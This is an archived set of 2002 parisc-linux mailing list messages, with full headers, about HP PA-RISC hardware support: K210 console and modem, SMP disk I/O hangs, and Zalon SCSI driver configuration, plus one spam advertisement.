http://pateam.esiee.fr/




From - Thu Nov 08 21:23:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] modem on k210/819
Date: 08 Jul 2002 14:06:49 -0600
Lines: 32
Approved: news@gmane.org
Message-ID: <1026158810.1523.2.camel@beavis>
References: <3D2973B4.4080807@itp.bg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621478 10105 80.91.229.3 (22 Nov 2014 01:57:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:58 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Stephan Trajkoff <stephan@itp.bg>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  8 14:06:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7DC8E4834
	for <parisc-linux@lists.parisc-linux.org>; Mon,  8 Jul 2002 14:06:51 -0600 (MDT)
Original-Received: from localhost.localdomain (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id EB816BCB7; Mon,  8 Jul 2002 14:06:49 -0600 (MDT)
In-Reply-To: <3D2973B4.4080807@itp.bg>
X-Mailer: Ximian Evolution 1.0.7 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15363

Stephan,

The mux support is currently under development.  Right now,
the console on the K class systems is done via a PDC (firmware)
console that Christoph Plattner wrote.  

I have been working on getting support for the native mux in
but I have a few minor bugs left to flush out before I can
commit the first version.

Also I have only been testing the mux for console support,
not modem support, so additional work might need to be completed
before the modem works .. not sure on that.

thanks,

- Ryan

On Mon, 2002-07-08 at 05:12, Stephan Trajkoff wrote:
> Hello, anyone knows how to run modem under k210/819 HP?
> I want to make dial-in with this modem
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 





From - Thu Nov 08 21:23:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 9000/819/K210
Date: Mon, 08 Jul 2002 14:27:32 -0600
Lines: 45
Approved: news@gmane.org
Message-ID: <20020708202732.A04844835@dsl2.external.hp.com>
References: <7D78C29C-929E-11D6-9EA1-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621479 10110 80.91.229.3 (22 Nov 2014 01:57:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:59 +0000 (UTC)
Cc: Stephan Trajkoff <stephan@itp.bg>,
	parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  8 14:27:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id A04844835; Mon,  8 Jul 2002 14:27:32 -0600 (MDT)
In-Reply-To: Message from Thibaut VARENE <varenet@esiee.fr> 
   of "Mon, 08 Jul 2002 20:14:06 +0200." <7D78C29C-929E-11D6-9EA1-0030656F07A2@esiee.fr> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15364

Thibaut VARENE wrote:
> pa52 ? Well, if you're one step further than everyone, that's kinda=20
> cheating :^)

yeah...I was going to test/commit the lvm10 patch but didn't have extra disks
to trash on that box...

> > since yesterday. Both w and ps ax still work. Something else must be
> > triggering the problem.
> Do you mean that the hangs Ryan and I are studying should be solved by=20=
> your changes ?

no. Just providing another data point...

> Anyway, I have noticed that on J5k and A500, using the 'normal IO' mode=20=
> for the SYM53C8XX driver seems to decrease risk of such hangs (running
> 2 setis on both machines and building ISOs on the A500 for about 4 days,
> pa46 on both, without hangs,

Did you stop the machine at this point or did it hang?
ie has anyone seen a hang when sym53c8xx driver was using IO port space?

> where the A500 could only run for about
> 3 hours is the same conditions with the MMIO mode, 1 day in the best=20
> case.)

This really suggests the problem is with disk IO and not compilation.
And it stinks like a "PCI Posted Write" problem.

Have you been able to get a TOC dump and decode where it was hung?

> But I had not enough time to investigate further, so it should only be=20=
> considered as a *interesting coincidence* :)

ok.

> I have now installed pa51 on these boxes, so I'll keep checking for=20
> hangs.

Finding the address of where the CPUs are spinning or hung would be good.
BTW, this is with SMP or non-SMP kernels?

grant



From - Thu Nov 08 21:23:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 9000/819/K210
Date: Mon, 8 Jul 2002 23:03:32 +0200
Lines: 64
Approved: news@gmane.org
Message-ID: <294EE282-92B6-11D6-9EA1-0030656F07A2@esiee.fr>
References: <20020708202732.A04844835@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v482)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621479 10116 80.91.229.3 (22 Nov 2014 01:57:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:59 +0000 (UTC)
Cc: Stephan Trajkoff <stephan@itp.bg>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  8 15:03:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id D23A2483B
	for <parisc-linux@lists.parisc-linux.org>; Mon,  8 Jul 2002 15:03:35 -0600 (MDT)
Original-Received: from npyu.esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id F227A49C0E; Mon,  8 Jul 2002 23:03:32 +0200 (CEST)
In-Reply-To: <20020708202732.A04844835@dsl2.external.hp.com>
X-Mailer: Apple Mail (2.482)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15365

Le lundi 8 juillet 2002, =E0 10:27 , Grant Grundler a =E9crit :
>
>> Anyway, I have noticed that on J5k and A500, using the 'normal IO'=20
>> mode=3D20=3D
>> for the SYM53C8XX driver seems to decrease risk of such hangs =
(running
>> 2 setis on both machines and building ISOs on the A500 for about 4=20
>> days,
>> pa46 on both, without hangs,
>
> Did you stop the machine at this point or did it hang?
> ie has anyone seen a hang when sym53c8xx driver was using IO port =
space?
I had to stop the box, no hang, just some kernel upgrade needed...
>
>> where the A500 could only run for about
>> 3 hours is the same conditions with the MMIO mode, 1 day in the =
best=3D20
>> case.)
>
> This really suggests the problem is with disk IO and not compilation.
> And it stinks like a "PCI Posted Write" problem.
yup, also what I thought, though no big knowledge on that topic...
Anyway I'm pretty convinced this is a I/O pb, which seems to be =
confirmed
by the observations Ryan and I made:
all stuck processes are always in 'down_read' or 'down_write' state when
hanging...
>
> Have you been able to get a TOC dump and decode where it was hung?
No, I have just got some 't' SysRq dump (special 't', from Ryan's patch)
Anyway next time it will hang i'll try to dump.
The fact is that hangs i got till now aren't 'deadly' ones in the =
meaning
that I've always been able to reboot the box more or less gently (i.e.
most of the time via 'S.U.B.' SysRqs), that's why I didn't think about=20=

TOC,
because the box wasn't technically *dead*, and I tried to avoid data=20
corruption :)
>
>> I have now installed pa51 on these boxes, so I'll keep checking =
for=3D20
>> hangs.
>
> Finding the address of where the CPUs are spinning or hung would be=20
> good.
Sure. I'm supposed to find this in PDC after a TOC, right ?

> BTW, this is with SMP or non-SMP kernels?
All problems are coming on SMP kernels. I've never seen such hangs on UP
systems (thank God, it would be awful to restart our webserver every=20
day!)

I'm currently stressing a bit a B2000 to confirm that (seti+kernel=20
builds...)


Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/




From - Thu Nov 08 21:23:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James Braid" <james.braid@peace.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] L2000 stable with SMP and RAID
Date: Tue, 9 Jul 2002 09:50:12 +1200
Lines: 18
Approved: news@gmane.org
Message-ID: <022c01c226c9$6fd0ebc0$5e01000a@bongo>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621479 10118 80.91.229.3 (22 Nov 2014 01:57:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:59 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  8 15:41:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from intro.peace.co.nz (ns1.peace.co.nz [202.14.141.227])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9B281483B
	for <parisc-linux@lists.parisc-linux.org>; Mon,  8 Jul 2002 15:41:28 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15366

Hi list,

FYI, I downloaded the latest CVS kernel and compiled it on my L2000 and
it magically seems have fixed most of the stability problem's I have
been having with the box. Before the box would crap out randomly when
doing pretty much *any* I/O stuff. SMP was also very flaky.

SMP seems to be working fine, and top even seems to report the correct
values for load average and CPU utilization :-) It's been running
distributed.net for several days now with no worries.

I have got 2 disks in a RAID 0 config and have been testing them with
dbench and bonnie and so far the box seems to be pretty stable.

Cheers, James




From - Thu Nov 08 21:23:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 9000/819/K210
Date: Mon, 08 Jul 2002 15:44:30 -0600
Lines: 32
Approved: news@gmane.org
Message-ID: <20020708214430.9FB31484C@dsl2.external.hp.com>
References: <294EE282-92B6-11D6-9EA1-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621480 10122 80.91.229.3 (22 Nov 2014 01:58:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  8 15:44:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 9FB31484C; Mon,  8 Jul 2002 15:44:30 -0600 (MDT)
In-Reply-To: Message from Thibaut VARENE <varenet@esiee.fr> 
   of "Mon, 08 Jul 2002 23:03:32 +0200." <294EE282-92B6-11D6-9EA1-0030656F07A2@esiee.fr> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15367

Thibaut VARENE wrote:
> > ie has anyone seen a hang when sym53c8xx driver was using IO port =
> space?
> I had to stop the box, no hang, just some kernel upgrade needed...

ok.

> Anyway I'm pretty convinced this is a I/O pb, which seems to be =
> confirmed
> by the observations Ryan and I made:
> all stuck processes are always in 'down_read' or 'down_write' state when
> hanging...

hmm...I've not mucked with the semaphore code and don't pretend to
understand it.

> No, I have just got some 't' SysRq dump (special 't', from Ryan's patch)

This is better than TOC for the reasons you mentioned. 
Please post whatever output you can get from SysRq and
don't bother with the TOC unless the SysRq doesn't work.

> All problems are coming on SMP kernels. I've never seen such hangs on UP
> systems (thank God, it would be awful to restart our webserver every=20
> day!)

ok.

thanks,
grant



From - Thu Nov 08 21:23:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dave Alvey <info@Jweb.info>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] This change should do it
Date: Mon, 08 Jul 2002 23:59:43 -0500
Lines: 10
Approved: news@gmane.org
Message-ID: <0GYY00J74R35J4@mtaout04.icomcast.net>
Reply-To: dave@jweb.info
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416621480 10127 80.91.229.3 (22 Nov 2014 01:58:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:00 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  8 21:59:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.comcast.net (smtp.comcast.net [24.153.64.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6CB294837
	for <parisc-linux@lists.parisc-linux.org>; Mon,  8 Jul 2002 21:59:34 -0600 (MDT)
Original-Received: from info%jweb.info
 (pcp01467885pcs.mchncb01.pa.comcast.net [68.82.245.46])
 by mtaout04.icomcast.net
 (iPlanet Messaging Server 5.1 HotFix 0.8 (built May 13 2002))
 with SMTP id <0GYY00J5RR2XJ4@mtaout04.icomcast.net> for
 parisc-linux@lists.parisc-linux.org; Mon, 08 Jul 2002 23:59:30 -0400 (EDT)
X-Mailer: Microsoft Outlook Express 5.00.2615.200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15368

Jweb knows how frustrating and expensive it is to rely on outsiders when you have to add a new user, setup a new computer, or even fix a printer or monitor problem.

We guarentee productivity will increase and costs will decrease as you and your staff are able to manage your computer systems with our training.


We specially tailor the training to your specific configuration and knowledge level.  We will come to you

visit http://www.jweb.info/Organizations.htm for more information or call us at 866-Jweb-123.



From - Thu Nov 08 21:23:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephan Trajkoff <stephan@itp.bg>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] k210/819 Zalon driver
Date: Tue, 09 Jul 2002 10:56:01 +0300
Lines: 8
Approved: news@gmane.org
Message-ID: <3D2A9711.4030207@itp.bg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621480 10128 80.91.229.3 (22 Nov 2014 01:58:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:00 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  9 01:55:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.itp.bg (itp.solo.bg [212.72.196.10])
	by dsl2.external.hp.com (Postfix) with SMTP id ACB0B483A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  9 Jul 2002 01:55:49 -0600 (MDT)
Original-Received: (qmail 28190 invoked from network); 9 Jul 2002 07:56:55 -0000
Original-Received: from softdnserror (HELO itp.bg) (212.72.204.2)
  by softdnserror with SMTP; 9 Jul 2002 07:56:55 -0000
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020605
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15369

Hi,
why I need to enable PCI/EISA to make available option zalon driver in 
SCSI drivers?
My HP K210 don't have PCIs and EISA?!!?!?!?





From - Thu Nov 08 21:23:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] k210/819 Zalon driver
Date: Tue, 9 Jul 2002 08:29:16 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20020709072916.GH6681@sleepie.demon.co.uk>
References: <3D2A9711.4030207@itp.bg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621481 10132 80.91.229.3 (22 Nov 2014 01:58:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stephan Trajkoff <stephan@itp.bg>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  9 02:30:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc4-hem11-4-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id 83BCF483C
	for <parisc-linux@lists.parisc-linux.org>; Tue,  9 Jul 2002 02:30:23 -0600 (MDT)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 781F29E846; Tue,  9 Jul 2002 08:29:16 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <3D2A9711.4030207@itp.bg>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15370

On Tue, Jul 09, 2002 at 10:56:01AM +0300, Stephan Trajkoff wrote:
> Hi,
> why I need to enable PCI/EISA to make available option zalon driver in 
> SCSI drivers?
> My HP K210 don't have PCIs and EISA?!!?!?!?

At the moment you have to enable PCI because that is the way the config
script is organised.  I don't know if zalon support would build without
PCI because it uses the ncr53c8xx driver which normally drives only PCI
chips.  It is an area that needs attention anyway, because if you enable
sym53c8xx_2 you wont get the zalon option at all (which is obviously
wrong).

Richard?!!?!?!?




From - Thu Nov 08 21:23:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephan Trajkoff <stephan@itp.bg>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] k210/819 Zalon driver
Date: Tue, 09 Jul 2002 14:23:41 +0300
Lines: 41
Approved: news@gmane.org
Message-ID: <3D2AC7BD.5060707@itp.bg>
References: <3D2A9711.4030207@itp.bg> <20020709072916.GH6681@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621481 10135 80.91.229.3 (22 Nov 2014 01:58:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:01 +0000 (UTC)
To: Richard Hirst <rhirst@linuxcare.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  9 05:23:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.itp.bg (itp.solo.bg [212.72.196.10])
	by dsl2.external.hp.com (Postfix) with SMTP id 3755D483D
	for <parisc-linux@lists.parisc-linux.org>; Tue,  9 Jul 2002 05:23:27 -0600 (MDT)
Original-Received: (qmail 452 invoked from network); 9 Jul 2002 11:24:34 -0000
Original-Received: from softdnserror (HELO itp.bg) (212.72.204.2)
  by softdnserror with SMTP; 9 Jul 2002 11:24:34 -0000
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020605
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15371

T think that my HP K210 don't have any PCIs or EISAs...
dmesg don't show me that I have any PCIs or EISAs...
and I have ncr53c720 not 8xx



Richard Hirst wrote:

>On Tue, Jul 09, 2002 at 10:56:01AM +0300, Stephan Trajkoff wrote:
>  
>
>>Hi,
>>why I need to enable PCI/EISA to make available option zalon driver in 
>>SCSI drivers?
>>My HP K210 don't have PCIs and EISA?!!?!?!?
>>    
>>
>
>At the moment you have to enable PCI because that is the way the config
>script is organised.  I don't know if zalon support would build without
>PCI because it uses the ncr53c8xx driver which normally drives only PCI
>chips.  It is an area that needs attention anyway, because if you enable
>sym53c8xx_2 you wont get the zalon option at all (which is obviously
>wrong).
>
>Richard?!!?!?!?
>
>
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>
>
>  
>






From - Thu Nov 08 21:23:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Walker <squawker@start.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] k210/819 Zalon driver
Date: Tue, 09 Jul 2002 13:09:14 +0200 (CEST)
Lines: 68
Approved: news@gmane.org
Message-ID: <1026212954.3d2ac45a69282@nyepost.start.no>
References: <3D2A9711.4030207@itp.bg> <20020709072916.GH6681@sleepie.demon.co.uk> <3D2AC7BD.5060707@itp.bg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
